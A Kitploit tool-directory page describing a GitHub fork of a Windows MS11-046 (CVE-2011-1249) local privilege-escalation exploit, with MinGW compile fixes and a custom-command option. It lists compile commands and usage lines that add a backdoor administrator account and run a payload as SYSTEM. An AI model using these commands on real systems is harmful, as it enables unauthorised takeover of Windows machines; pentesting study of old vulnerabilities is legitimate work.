Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
edb-40564-mingw-fix — CVE-2011-1249 (MS11-046) AFD privilege escalation — MinGW cross-compilation fix + custom command support | Kitploit
Tools/GitHubGitHub/appl3b0y/edb-40564-mingw-fix
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubappl3b0y/edb-40564-mingw-fix

edb-40564-mingw-fix

CVE-2011-1249 (MS11-046) AFD privilege escalation — MinGW cross-compilation fix + custom command support

View Repository
236 months agoNot yet reviewed
Share

ms11-046-mingw

CVE-2011-1249 / MS11-046 — AFD.sys privilege escalation for Windows x86.

Original exploit by Tomislav Paskalev (EDB-40564). This fork fixes MinGW cross-compilation errors and adds custom command execution via argv[1].


Changes from the original

#ChangeWhy
1FARPROC ZwQuerySystemInformation → typed function pointer (pZwQuerySystemInformation)MinGW strict type checking rejects calling a zero-parameter FARPROC with arguments — compilation fails with too many arguments to function
2securityPatches[] arrays marked staticArrays declared inside if/else blocks are stack-allocated and go out of scope; without static the pointers dangle
3Custom command via argv[1]Run any command as SYSTEM instead of the hardcoded cmd.exe

Problem

Compiling the original with MinGW fails:

ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4

FARPROC is a generic function pointer declared with zero parameters. MinGW enforces strict type checking and rejects calling it with arguments. The fix is a typed function pointer with the correct signature.

Pre-compiled binaries exist (e.g. SecWiki/windows-kernel-exploits) but do not support custom commands.


Cross-compile on Linux (MinGW)

sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32

Usage

ms11-046.exe                                             # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add"             # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe"                 # run a custom payload as SYSTEM

References

  • MS11-046 — Microsoft Security Bulletin
  • CVE-2011-1249 - National Vulnerability Database
  • EDB-40564 — original exploit
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →